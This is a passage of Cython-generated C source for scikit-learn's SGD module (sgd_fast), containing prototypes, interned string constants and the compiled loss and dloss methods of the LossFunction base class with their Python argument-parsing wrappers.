*__pyx_pf_7sklearn_12linear_model_8sgd_fast_18EpsilonInsensitive_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_EpsilonInsensitive *__pyx_v_self); /* proto */\nstatic int __pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive___init__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self, double __pyx_v_epsilon); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_2loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_4dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self, double __pyx_v_p, double __pyx_v_y); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_25SquaredEpsilonInsensitive_6__reduce__(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_SquaredEpsilonInsensitive *__pyx_v_self); /* proto */\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_plain_sgd(CYTHON_UNUSED PyObject *__pyx_self, PyArrayObject *__pyx_v_weights, double __pyx_v_intercept, struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_v_loss, int __pyx_v_penalty_type, double __pyx_v_alpha, double __pyx_v_C, double __pyx_v_rho, struct __pyx_obj_7sklearn_5utils_11seq_dataset_SequentialDataset *__pyx_v_dataset, int __pyx_v_n_iter, int __pyx_v_fit_intercept, int __pyx_v_verbose, int __pyx_v_shuffle, PyObject *__pyx_v_seed, double __pyx_v_weight_pos, double __pyx_v_weight_neg, int __pyx_v_learning_rate, double __pyx_v_eta0, double __pyx_v_power_t, double __pyx_v_t, double __pyx_v_intercept_decay); /* proto */\nstatic int __pyx_pf_5numpy_7ndarray___getbuffer__(PyArrayObject *__pyx_v_self, Py_buffer *__pyx_v_info, int __pyx_v_flags); /* proto */\nstatic void __pyx_pf_5numpy_7ndarray_2__releasebuffer__(PyArrayObject *__pyx_v_self, Py_buffer *__pyx_v_info); /* proto */\nstatic char __pyx_k_1[] = \"-- Epoch %d\";\nstatic char __pyx_k_2[] = \"Norm: %.2f, NNZs: %d, Bias: %.6f, T: %d, Avg. loss: %.6f\";\nstatic char __pyx_k_3[] = \"Total training time: %.2f seconds.\";\nstatic char __pyx_k_4[] = \"floating-point under-/overflow occured.\";\nstatic char __pyx_k_6[] = \"ndarray is not C contiguous\";\nstatic char __pyx_k_8[] = \"ndarray is not Fortran contiguous\";\nstatic char __pyx_k_10[] = \"Non-native byte order not supported\";\nstatic char __pyx_k_12[] = \"unknown dtype code in numpy.pxd (%d)\";\nstatic char __pyx_k_13[] = \"Format string allocated too short, see comment in numpy.pxd\";\nstatic char __pyx_k_16[] = \"Format string allocated too short.\";\nstatic char __pyx_k_20[] = \"/scratch/apps/src/scikit-learn/sklearn/linear_model/sgd_fast.pyx\";\nstatic char __pyx_k_21[] = \"sklearn.linear_model.sgd_fast\";\nstatic char __pyx_k__B[] = \"B\";\nstatic char __pyx_k__C[] = \"C\";\nstatic char __pyx_k__H[] = \"H\";\nstatic char __pyx_k__I[] = \"I\";\nstatic char __pyx_k__L[] = \"L\";\nstatic char __pyx_k__O[] = \"O\";\nstatic char __pyx_k__Q[] = \"Q\";\nstatic char __pyx_k__b[] = \"b\";\nstatic char __pyx_k__c[] = \"c\";\nstatic char __pyx_k__d[] = \"d\";\nstatic char __pyx_k__f[] = \"f\";\nstatic char __pyx_k__g[] = \"g\";\nstatic char __pyx_k__h[] = \"h\";\nstatic char __pyx_k__i[] = \"i\";\nstatic char __pyx_k__l[] = \"l\";\nstatic char __pyx_k__p[] = \"p\";\nstatic char __pyx_k__q[] = \"q\";\nstatic char __pyx_k__t[] = \"t\";\nstatic char __pyx_k__u[] = \"u\";\nstatic char __pyx_k__w[] = \"w\";\nstatic char __pyx_k__y[] = \"y\";\nstatic char __pyx_k__Zd[] = \"Zd\";\nstatic char __pyx_k__Zf[] = \"Zf\";\nstatic char __pyx_k__Zg[] = \"Zg\";\nstatic char __pyx_k__np[] = \"np\";\nstatic char __pyx_k__any[] = \"any\";\nstatic char __pyx_k__eta[] = \"eta\";\nstatic char __pyx_k__rho[] = \"rho\";\nstatic char __pyx_k__sys[] = \"sys\";\nstatic char __pyx_k__eta0[] = \"eta0\";\nstatic char __pyx_k__loss[] = \"loss\";\nstatic char __pyx_k__seed[] = \"seed\";\nstatic char __pyx_k__time[] = \"time\";\nstatic char __pyx_k__xnnz[] = \"xnnz\";\nstatic char __pyx_k__alpha[] = \"alpha\";\nstatic char __pyx_k__count[] = \"count\";\nstatic char __pyx_k__dloss[] = \"dloss\";\nstatic char __pyx_k__dtype[] = \"dtype\";\nstatic char __pyx_k__epoch[] = \"epoch\";\nstatic char __pyx_k__isinf[] = \"isinf\";\nstatic char __pyx_k__isnan[] = \"isnan\";\nstatic char __pyx_k__numpy[] = \"numpy\";\nstatic char __pyx_k__order[] = \"order\";\nstatic char __pyx_k__range[] = \"range\";\nstatic char __pyx_k__shape[] = \"shape\";\nstatic char __pyx_k__zeros[] = \"zeros\";\nstatic char __pyx_k__n_iter[] = \"n_iter\";\nstatic char __pyx_k__update[] = \"update\";\nstatic char __pyx_k__dataset[] = \"dataset\";\nstatic char __pyx_k__epsilon[] = \"epsilon\";\nstatic char __pyx_k__float64[] = \"float64\";\nstatic char __pyx_k__nonzero[] = \"nonzero\";\nstatic char __pyx_k__power_t[] = \"power_t\";\nstatic char __pyx_k__shuffle[] = \"shuffle\";\nstatic char __pyx_k__sumloss[] = \"sumloss\";\nstatic char __pyx_k__t_start[] = \"t_start\";\nstatic char __pyx_k__verbose[] = \"verbose\";\nstatic char __pyx_k__weights[] = \"weights\";\nstatic char __pyx_k____main__[] = \"__main__\";\nstatic char __pyx_k____test__[] = \"__test__\";\nstatic char __pyx_k__is_hinge[] = \"is_hinge\";\nstatic char __pyx_k__intercept[] = \"intercept\";\nstatic char __pyx_k__n_samples[] = \"n_samples\";\nstatic char __pyx_k__plain_sgd[] = \"plain_sgd\";\nstatic char __pyx_k__threshold[] = \"threshold\";\nstatic char __pyx_k__x_ind_ptr[] = \"x_ind_ptr\";\nstatic char __pyx_k__ValueError[] = \"ValueError\";\nstatic char __pyx_k__n_features[] = \"n_features\";\nstatic char __pyx_k__q_data_ptr[] = \"q_data_ptr\";\nstatic char __pyx_k__weight_neg[] = \"weight_neg\";\nstatic char __pyx_k__weight_pos[] = \"weight_pos\";\nstatic char __pyx_k__x_data_ptr[] = \"x_data_ptr\";\nstatic char __pyx_k__RuntimeError[] = \"RuntimeError\";\nstatic char __pyx_k__class_weight[] = \"class_weight\";\nstatic char __pyx_k__penalty_type[] = \"penalty_type\";\nstatic char __pyx_k__fit_intercept[] = \"fit_intercept\";\nstatic char __pyx_k__learning_rate[] = \"learning_rate\";\nstatic char __pyx_k__sample_weight[] = \"sample_weight\";\nstatic char __pyx_k__intercept_decay[] = \"intercept_decay\";\nstatic char __pyx_k__NotImplementedError[] = \"NotImplementedError\";\nstatic PyObject *__pyx_kp_s_1;\nstatic PyObject *__pyx_kp_u_10;\nstatic PyObject *__pyx_kp_u_12;\nstatic PyObject *__pyx_kp_u_13;\nstatic PyObject *__pyx_kp_u_16;\nstatic PyObject *__pyx_kp_s_2;\nstatic PyObject *__pyx_kp_s_20;\nstatic PyObject *__pyx_n_s_21;\nstatic PyObject *__pyx_kp_s_3;\nstatic PyObject *__pyx_kp_s_4;\nstatic PyObject *__pyx_kp_u_6;\nstatic PyObject *__pyx_kp_u_8;\nstatic PyObject *__pyx_n_s__C;\nstatic PyObject *__pyx_n_s__NotImplementedError;\nstatic PyObject *__pyx_n_s__RuntimeError;\nstatic PyObject *__pyx_n_s__ValueError;\nstatic PyObject *__pyx_n_s____main__;\nstatic PyObject *__pyx_n_s____test__;\nstatic PyObject *__pyx_n_s__alpha;\nstatic PyObject *__pyx_n_s__any;\nstatic PyObject *__pyx_n_s__c;\nstatic PyObject *__pyx_n_s__class_weight;\nstatic PyObject *__pyx_n_s__count;\nstatic PyObject *__pyx_n_s__dataset;\nstatic PyObject *__pyx_n_s__dloss;\nstatic PyObject *__pyx_n_s__dtype;\nstatic PyObject *__pyx_n_s__epoch;\nstatic PyObject *__pyx_n_s__epsilon;\nstatic PyObject *__pyx_n_s__eta;\nstatic PyObject *__pyx_n_s__eta0;\nstatic PyObject *__pyx_n_s__fit_intercept;\nstatic PyObject *__pyx_n_s__float64;\nstatic PyObject *__pyx_n_s__i;\nstatic PyObject *__pyx_n_s__intercept;\nstatic PyObject *__pyx_n_s__intercept_decay;\nstatic PyObject *__pyx_n_s__is_hinge;\nstatic PyObject *__pyx_n_s__isinf;\nstatic PyObject *__pyx_n_s__isnan;\nstatic PyObject *__pyx_n_s__learning_rate;\nstatic PyObject *__pyx_n_s__loss;\nstatic PyObject *__pyx_n_s__n_features;\nstatic PyObject *__pyx_n_s__n_iter;\nstatic PyObject *__pyx_n_s__n_samples;\nstatic PyObject *__pyx_n_s__nonzero;\nstatic PyObject *__pyx_n_s__np;\nstatic PyObject *__pyx_n_s__numpy;\nstatic PyObject *__pyx_n_s__order;\nstatic PyObject *__pyx_n_s__p;\nstatic PyObject *__pyx_n_s__penalty_type;\nstatic PyObject *__pyx_n_s__plain_sgd;\nstatic PyObject *__pyx_n_s__power_t;\nstatic PyObject *__pyx_n_s__q;\nstatic PyObject *__pyx_n_s__q_data_ptr;\nstatic PyObject *__pyx_n_s__range;\nstatic PyObject *__pyx_n_s__rho;\nstatic PyObject *__pyx_n_s__sample_weight;\nstatic PyObject *__pyx_n_s__seed;\nstatic PyObject *__pyx_n_s__shape;\nstatic PyObject *__pyx_n_s__shuffle;\nstatic PyObject *__pyx_n_s__sumloss;\nstatic PyObject *__pyx_n_s__sys;\nstatic PyObject *__pyx_n_s__t;\nstatic PyObject *__pyx_n_s__t_start;\nstatic PyObject *__pyx_n_s__threshold;\nstatic PyObject *__pyx_n_s__time;\nstatic PyObject *__pyx_n_s__u;\nstatic PyObject *__pyx_n_s__update;\nstatic PyObject *__pyx_n_s__verbose;\nstatic PyObject *__pyx_n_s__w;\nstatic PyObject *__pyx_n_s__weight_neg;\nstatic PyObject *__pyx_n_s__weight_pos;\nstatic PyObject *__pyx_n_s__weights;\nstatic PyObject *__pyx_n_s__x_data_ptr;\nstatic PyObject *__pyx_n_s__x_ind_ptr;\nstatic PyObject *__pyx_n_s__xnnz;\nstatic PyObject *__pyx_n_s__y;\nstatic PyObject *__pyx_n_s__zeros;\nstatic PyObject *__pyx_int_15;\nstatic PyObject *__pyx_k_tuple_5;\nstatic PyObject *__pyx_k_tuple_7;\nstatic PyObject *__pyx_k_tuple_9;\nstatic PyObject *__pyx_k_tuple_11;\nstatic PyObject *__pyx_k_tuple_14;\nstatic PyObject *__pyx_k_tuple_15;\nstatic PyObject *__pyx_k_tuple_17;\nstatic PyObject *__pyx_k_tuple_18;\nstatic PyObject *__pyx_k_codeobj_19;\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":49\n *     \"\"\"Base class for convex loss functions\"\"\"\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         \"\"\"Evaluate the loss function.\n * \n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_12LossFunction_loss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_v_self, CYTHON_UNUSED double __pyx_v_p, CYTHON_UNUSED double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_1loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":64\n *             The loss evaluated at `p` and `y`.\n *         \"\"\"\n *         raise NotImplementedError()             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n  __pyx_t_1 = PyObject_Call(__pyx_builtin_NotImplementedError, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 64; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_Raise(__pyx_t_1, 0, 0, 0);\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  {__pyx_filename = __pyx_f[0]; __pyx_lineno = 64; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.LossFunction.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic char __pyx_doc_7sklearn_12linear_model_8sgd_fast_12LossFunction_loss[] = \"Evaluate the loss function.\\n\\n        Parameters\\n        ----------\\n        p : double\\n            The prediction, p = w^T x\\n        y : double\\n            The true value (aka target)\\n\\n        Returns\\n        -------\\n        double\\n            The loss evaluated at `p` and `y`.\\n        \";\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.LossFunction.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_12LossFunction_loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":49\n *     \"\"\"Base class for convex loss functions\"\"\"\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         \"\"\"Evaluate the loss function.\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12LossFunction_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self->__pyx_vtab)->loss(__pyx_v_self, __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 49; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.LossFunction.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":66\n *         raise NotImplementedError()\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         \"\"\"Evaluate the derivative of the loss function with respect to\n *         the prediction `p`.\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_12LossFunction_dloss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_v_self, CYTHON_UNUSED double __pyx_v_p, CYTHON_UNUSED double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_3dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":81\n *             The derivative of the loss function w.r.t. `p`.\n *         \"\"\"\n *         raise NotImplementedError()             # <<<<<<<<<<<<<<\n * \n * \n */\n  __pyx_t_1 = PyObject_Call(__pyx_builtin_NotImplementedError, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 81; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_Raise(__pyx_t_1, 0, 0, 0);\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  {__pyx_filename = __pyx_f[0]; __pyx_lineno = 81; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.LossFunction.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic char __pyx_doc_7sklearn_12linear_model_8sgd_fast_12LossFunction_2dloss[] = \"Evaluate the derivative of the loss function with respect to\\n        the prediction `p`.\\n\\n        Parameters\\n        ----------\\n        p : double\\n            The prediction, p = w^T x\\n        y : double\\n            The true value (aka target)\\n        Returns\\n        -------\\n        double\\n            The derivative of the loss function w.r.t. `p`.\\n        \";\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_12LossFunction_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if 